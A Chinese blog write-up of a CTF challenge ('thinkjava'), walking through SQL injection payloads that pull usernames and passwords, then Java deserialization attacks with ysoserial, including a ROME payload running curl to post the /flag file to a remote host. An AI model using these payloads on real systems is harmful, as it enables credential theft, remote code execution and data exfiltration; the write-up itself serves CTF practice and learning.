CTF网鼎杯2020朱雀组 thinkjava思路记录

1.代码分析

BUUCTF在线评测 (buuoj.cn)打开ctf赛题之后,下载class文件,这个部分是不完整点的源码

在sqldict中存在一个sql注入点,没有采用java的预编译,调用了这个的是在test中,同时,这个采用了swagger接口,这是一个测试页面的接口,我们直接尝试打开这个页面

打开 网址/swagger-ui.html

2.测试点1

这里可以看见有三个可以测试的位置,参考源码中的文件地址,可以发现sql注入点存在在test这个测试中,我们dbName注入sql注入的语句,而出现查询结果的地方是tabledescribe

myapp?a=' union select (select name from user)#(用前一个’闭合dbname,然后select,最后#来注释掉后面的语句)

同时我们把pwd也查出来

myapp?a=' union select (select pwd from user)#
记录下来name和pwd

3.测试点2

到下一个测试点login
先点一下右面的type model,输入刚刚记录的内容
点击try out
可以发现登录成功了,而这个data值,后面的部分在反序列化入门博客中有提到,这个rO0AB是一个对象的序列化后base64加密了,而前面这个bearer部分我们直接搜关键词,可以知道
"Authorization: Bearer" 是一种在 HTTP 请求头部中用于传递访问令牌(Access Token)的常见格式。它用于在客户端和服务器之间进行身份验证和授权操作。
我们知道这是一个令牌,而正好第三个测试点后面中文备注是获取用户信息

4.测试点3

把整个token都输入进去
发现它可以测试到我们的name是admin,所以至少这里可以解码base64之后,反序列化了token之后得到的属性的值

5.利用这个地方进行攻击

首先我们需要一个可以去base64加密序列化内容的脚本,这里我用的是Python写的
import base64
file=open("a.bin","rb")

now=file.read()
ba=base64.b64encode(now)
print(ba)
file.close()

我们待会用这个脚本去base64加密

我们用java构造payload的脚本ysoserialysoserial下载和使用-CSDN博客

找一个不需要三方库的接口使用一下,看看这里是不是可以解析的,这里用的是urldns,远程连接一个网址的接口
我们再dnslog上获取一个网址,直接搜dnslog就行,我前面的博客也用过,这里就不贴网址了
java -jar ysoserial-all.jar
java -jar ysoserial-all.jar URLDNS "https://pnxxcc.dnslog.cn" > f.bin
把f。bin和刚刚的脚本放在同一个文件夹下面之后,修改一下脚本的文件名字运行
我们把这个得出的字符串前加上bearer后放到测试点上尝试
发现有访问,我们确定这里可以去反序列化
我们用ROME去执行crul外带到远程主机上
java -jar ysoserial-all.jar ROME "curl https://远程主机ip:port/ -d @/flag" >flag.bin
重复上面的加密操作
远程主机监听对应的端口
复制上去测试这里就可以得到flag了
但是我昨天确定了很多次,发现弹不出来,也不知道是怎么回事了,有大佬整出来可以留言和我说
2024-6-8 这个地方过了一个月我突然想到,很可能是靶机的问题,我用的是阿里云的主机,可能是阿里云把这个shell的地方墙掉了,这个需要上阿里云的管理要去把5000端口打开才行,设置上所有ip都可以访问
  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2022刃杯CTF是一场面向信息安全爱好者的竞技赛,旨在测试参与者在络安全领域的技术水平和解决问题的能力。CTF是Capture The Flag的缩写,意指夺旗赛。比赛中,参与者需要根据给定的情景和任务,通过寻找和利用漏洞获得各种加密标记,即旗帜,以证明攻击并取得成功。 2022刃杯CTF为参与者提供了一个良好的平台,帮助他们提升对络安全的认知和技能,更好地理解络攻防的原理和方法。参赛者将面对各种类型的题目,例如逆向工程、密码学、Web安全、二进制攻防等,需要通过解决这些题目来获取旗帜。 除了对技术水平的要求,参赛者还需要具备良好的团队协作能力,因为很多题目需要进行合作解决。此外,比赛还会设置一些线下考核,通过面对面交流和互动,增加了比赛的趣味性和挑战性。 参与2022刃杯CTF对于从事信息安全相关工作的人来说是一次很好的学习和锻炼机会。通过参与这样的比赛,他们能够不断学习和掌握最新的络攻防技术,提高自己的技术水平和解决问题的能力。同时,比赛还能够帮助建立更广泛的人脉,与其他安全领域的专家和爱好者交流和讨论,拓宽自己的眼界。 总而言之,2022刃杯CTF是一次非常有意义和有益的比赛活动,它能够帮助参与者提升自己在络安全领域的技术水平和解决问题的能力,并且通过比赛的方式增强团队合作和交流能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值